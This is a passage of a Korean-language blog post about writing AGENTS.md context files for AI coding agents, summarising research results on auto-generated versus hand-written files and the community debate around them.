&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 자동 생성의 함정 &amp;mdash; 연구가 말하는 것&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;ETH Zurich 연구 (2026.02)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ETH Zurich SRI Lab 연구팀(Gloaguen et al.)이 발표한 논문 &lt;b&gt;&quot;Evaluating AGENTS.md: Are Repository-Level Context Files Helpful for Coding Agents?&quot;&lt;/b&gt;는 명확한 답변을 제시한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;작업 성공률&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비용 변화&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;평가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;자동 생성 AGENTS.md&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;-0.5~2% &amp;darr;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;+20% &amp;uarr;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;비추천&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;개발자 작성 AGENTS.md&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;&lt;b&gt;+4% &amp;uarr;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;성공률 향상, 비용은 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;최대 +19% &amp;uarr;&lt;/b&gt;&lt;/span&gt; (가능)&lt;br /&gt;&lt;small style=&quot;color: #666;&quot;&gt;※ Claude Code 제외 시 유효 &amp;mdash; Claude Code는 효과 미확인&lt;/small&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;권장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;성능 저하 원인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;자동 생성 AGENTS.md가 성능을 저해하는 이유는 명확하다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;중복 정보:&lt;/b&gt; 디렉토리 구조는 에이전트가 `ls -R` 명령어로 직접 탐색 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;패키지 목록:&lt;/b&gt; package.json, requirements.txt, uv.lock 등에서 직접 파싱 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;기술 스택:&lt;/b&gt; 코드를 읽으면 사용 기술이 명백함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;컨텍스트 낭비:&lt;/b&gt; 이미 알 수 있는 정보가 토큰을 소비하면서, 실제 중요한 지침의 우선순위가 낮아짐&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;Lost in the Middle&quot; 효과&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Liu et al.(2023)의 &quot;Lost in the Middle&quot; 연구에 따르면, LLM은 긴 컨텍스트에서 &lt;b&gt;중간에 위치한 정보를 놓치는 경향&lt;/b&gt;이 있다. 컨텍스트의 처음과 끝은 잘 기억하지만, 중간 부분은 주의력이 분산된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;
&lt;pre class=&quot;ada&quot; style=&quot;margin: 0; font-family: 'Fira Code', monospace; font-size: 14px; line-height: 2;&quot;&gt;&lt;code&gt;컨텍스트 윈도우 내 주의력 분포:

[AGENTS.md 시작]  ████████████  &amp;lt;-- 높은 주의력
[중간 부분]       ██████        &amp;lt;-- 주의력 저하 (Lost in the Middle)
[실제 작업 지시]  ████████████  &amp;lt;-- 높은 주의력

문제: AGENTS.md가 길수록 실제 작업에 대한 주의력 총량이 줄어듦&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md에 불필요한 정보를 많이 담을수록 &lt;b&gt;정작 중요한 작업 지시에 대한 에이전트의 집중력이 떨어진다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Addy Osmani의 표현을 빌리면: &lt;b&gt;&quot;AGENTS.md의 모든 줄은 에이전트에게 실제로 요청한 작업과 경쟁한다(Every line in AGENTS.md is a line competing with the thing you actually asked the agent to do).&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;앵커링 효과 (Anchoring Effect)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;자동 생성의 가장 위험한 부작용이다. AGENTS.md에 특정 기술이나 패턴이 언급되면, 에이전트는 그 정보에 &lt;b&gt;편향(bias)&lt;/b&gt;되어 모든 작업에서 해당 패턴을 선호하게 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border: 2px solid #dc3545; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;앵커링 효과 예시&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;AGENTS.md에 &lt;code&gt;&quot;Legacy module: auth-v1 (Express middleware)&quot;&lt;/code&gt;가 적혀 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;에이전트가 새로운 API 엔드포인트를 만들 때, 최신 패턴 대신 레거시 Express 미들웨어 패턴을 사용하려 함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;결과: 새로운 코드가 레거시 패턴을 따라가는 &lt;b&gt;역행(regression)&lt;/b&gt; 발생&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;자동 생성은 프로젝트의 &lt;i&gt;모든 것&lt;/i&gt;을 설명하려 하기 때문에, 레거시 코드도 현재 코드와 동등하게 기술한다. 에이전트는 어느 것이 권장 패턴이고 어느 것이 더 이상 사용하지 말아야 하는지 구분하지 못하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;ETH Zurich 연구의 한계와 의의&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ETH Zurich의 결론은 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;컨텍스트 파일 자체가 항상 도움이 되진 않는다&quot;&lt;/b&gt;&lt;/span&gt;는 부정적 결론이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;즉, 무조건 AGENTS.md를 작성하면 효과가 있는 것은 아니라는 뜻이다. 하지만 이는 &lt;b&gt;자동 생성&lt;/b&gt;된 파일에 대한 결론이며, 전략적으로 작성된 파일에 대해서는 다른 연구(Lulla et al.)가 긍정적 결과를 보여주고 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;연구 결과에서의 결론: /init 자동 생성 금지&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;최신 도구들이 제공하는 &quot;AGENTS.md 자동 생성&quot; 기능은 피해야 한다. 이는 성공률을 떨어뜨리고 비용을 증가시킬 뿐이다. 하지만 &lt;b&gt;전략적으로 작성된 AGENTS.md는 실제로 성능을 향상시킨다.&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 올바른 작성의 중요성 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 올바른 작성이 중요한 이유&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Lulla et al. 연구 분석 (ICSE JAWs 2026)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 AGENTS.md 자체를 버릴 필요는 없다. &lt;b&gt;올바르게 작성된 AGENTS.md&lt;/b&gt;는 효율을 크게 향상시킨다. Lulla 등이 10개 저장소에서 124개 PR을 대상으로 AGENTS.md 유무에 따른 성능을 비교한 결과는 다음과 같다(arXiv:2601.20404, ICSE JAWs 2026 제출):&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;메트릭&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;개선율&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;의의&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;실행 시간&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;&lt;b&gt;28.64% 단축&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;더 빠른 피드백 루프&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;토큰 소비&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;&lt;b&gt;16.58% 감소&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;API 비용 절감&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;작업 성공률&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;&lt;b&gt;유사한 수준 유지&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;논문 원문: &quot;comparable task completion behavior&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;토큰 효율성의 실전 사례&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ETH Zurich 연구에서 확인된 수치를 Addy Osmani가 다음과 같이 정리했다. 패키지 매니저 언급의 효과는 다음과 같다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AGENTS.md에 &quot;uv 사용&quot;이라고 명시:&lt;/b&gt; 작업당 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1.6회 사용&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;언급하지 않음:&lt;/b&gt; 작업당 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;0.01회 이하 사용&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 통찰&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;발견 불가능한 정보만 가치가 있다.&lt;/b&gt;&lt;/span&gt; 에이전트가 자동으로 발견할 수 있는 정보(디렉토리, 기술 스택)는 AGENTS.md에 포함될 필요가 없다. 하지만 &quot;uv를 사용해야 한다&quot;는 지침은 발견 불가능한 정보이므로, 명시하면 에이전트의 행동이 크게 변한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사람의 직관 vs LLM의 실제 필요&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Arize AI의 Prompt Learning 실험(Cross-repo &lt;b&gt;+5.19%&lt;/b&gt;, In-repo &lt;b&gt;+10.87%&lt;/b&gt; 정확도 향상)은 중요한 사실을 밝혀냈다. &lt;b&gt;사람이 코드베이스 이해에 도움이 된다고 생각하는 정보와, LLM이 실제로 필요한 정보는 다르다.&lt;/b&gt; 이 차이가 AGENTS.md 작성에서 가장 흔한 실수의 근원이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 50%;&quot;&gt;사람이 유용하다고 생각하는 정보&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 50%;&quot;&gt;LLM이 실제로 필요한 정보&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;이 프로젝트는 Next.js 14를 사용합니다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;App Router에서 &lt;code&gt;use client&lt;/code&gt;를 빼먹으면 빌드 에러가 나지 않고 런타임에서 조용히 실패합니다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;데이터베이스는 PostgreSQL 15입니다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;&lt;code&gt;uuid_generate_v4()&lt;/code&gt;를 사용하려면 &lt;code&gt;CREATE EXTENSION pgcrypto&lt;/code&gt;가 필요합니다. 마이그레이션에 포함되어 있으니 새 확장 추가하지 마세요&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;src/components에 UI 컴포넌트가 있습니다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Button 컴포넌트는 &lt;code&gt;cva&lt;/code&gt;(class-variance-authority)를 사용합니다. 새 variant 추가 시 기존 패턴을 따르세요&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;테스트는 Jest를 사용합니다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;&lt;code&gt;msw&lt;/code&gt; mock은 &lt;code&gt;src/mocks/handlers.ts&lt;/code&gt;에 중앙 집중화되어 있습니다. 개별 테스트 파일에서 직접 mock하지 마세요&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;API 엔드포인트는 /api/v2/ 아래 있습니다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;인증이 필요한 엔드포인트는 &lt;code&gt;withAuth&lt;/code&gt; 미들웨어를 반드시 사용하세요. 직접 JWT 검증 로직을 작성하지 마세요&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;왼쪽은 &lt;b&gt;&quot;무엇이 있는가(what)&quot;&lt;/b&gt;에 대한 답이고, 오른쪽은 &lt;b&gt;&quot;어디서 실수하기 쉬운가(where are the traps)&quot;&lt;/b&gt;에 대한 답이다. 에이전트는 &quot;what&quot;은 코드를 읽으면 스스로 파악할 수 있지만, &quot;traps&quot;는 코드만 봐서는 알 수 없다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Arize AI의 교훈&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;사람의 직관으로 AGENTS.md를 채우지 마라. 에이전트가 실제로 실수하는 지점을 관찰하고, 그 지점에 대한 정보만 담아라.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;ACE 프레임워크: 동적 컨텍스트 로딩&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 ICLR에서 발표된 &lt;b&gt;ACE(Agentic Context Engineering) 프레임워크&lt;/b&gt;는 한 단계 더 나아간 접근을 제시한다. 기존 정적 프롬프트(ICL) 방식 대비 에이전트 벤치마크에서 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;10.6% 성능 향상&lt;/b&gt;&lt;/span&gt;을 달성했다. ACE의 핵심은 &lt;b&gt;동적 컨텍스트 로딩&lt;/b&gt;이다: 작업 유형에 따라 필요한 컨텍스트만 동적으로 제공하는 방식이다. 이는 AGENTS.md 작성의 미래 방향을 시사한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: 커뮤니티 반응 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 커뮤니티 반응 &amp;mdash; 찬성과 반박&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Addy Osmani의 주장&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;구글 소프트웨어 엔지니어 Addy Osmani(Google Cloud &amp;amp; Gemini 담당)는 자신의 블로그에서 명확한 가이드라인을 제시했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;AGENTS.md에 포함해야 할 것&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;비직관적 도구/명령어 (예: pip 대신 uv 필수)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;테스트 실행 시 필수 플래그 (예: --no-cache)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;레거시 코드 삭제 금지 목록&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;에이전트가 반복 실수하는 패턴 방지 지침&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;AGENTS.md에 포함하면 안 될 것&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;디렉토리 구조 (에이전트가 직접 탐색 가능)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;기술 스택 목록 (package.json, requirements.txt 보면 앎)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;README와 동일한 내용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;너무 긴 일반적 코딩 스타일 가이드&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GeekNews 커뮤니티 의견&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한국 개발자 커뮤니티(GeekNews, Hada.io)에서도 활발한 토론이 있었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 15px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;찬성 의견&lt;/h4&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;사람과 LLM의 파싱 구조는 완전히 다르다&quot;:&lt;/b&gt; 자동 생성 파일은 할루시네이션만 심해짐&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;토큰 효율성이 핵심&quot;:&lt;/b&gt; 중복 정보 제거가 성능 향상의 핵심&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 15px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;회의적 의견&lt;/h4&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;armila:&lt;/b&gt; &quot;모델이 수개월마다 바뀌는데 AGENTS.md 최적화보다 모델 변화가 더 빠르다&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;jaehar16:&lt;/b&gt; &quot;기존 README가 이미 있지 않냐&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;sonnet:&lt;/b&gt; &quot;AGENTS.md는 기존 README의 에이전트용 재편성일 뿐&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e3f2fd; border-left: 4px solid #2196f3; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;armila의 의견에 대한 반론&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;모델이 빠르게 변한다는 지적은 타당하지만, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;에이전트가 발견할 수 없는 정보만 포함한다&quot;&lt;/b&gt;&lt;/span&gt;는 핵심 원칙은 모델에 무관하게 유효하다. ETH Zurich 연구도 Claude Code, Codex, Qwen Code 등 여러 모델을 테스트했고, 결론은 일관되었다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;즉, 어떤 모델을 사용하든 &lt;b&gt;중복 정보는 성능을 저해&lt;/b&gt;한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;종합 평가&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;모든 의견을 종합하면, &lt;b&gt;AGENTS.md 자체는 필요하지만, 어떻게 작성하느냐가 중요&lt;/b&gt;하다는 데 동의한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;자동 생성은 피하되, 전략적으로 작성하면 실제로 성능을 향상시킬 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: 포함/제외 기준 --&gt;
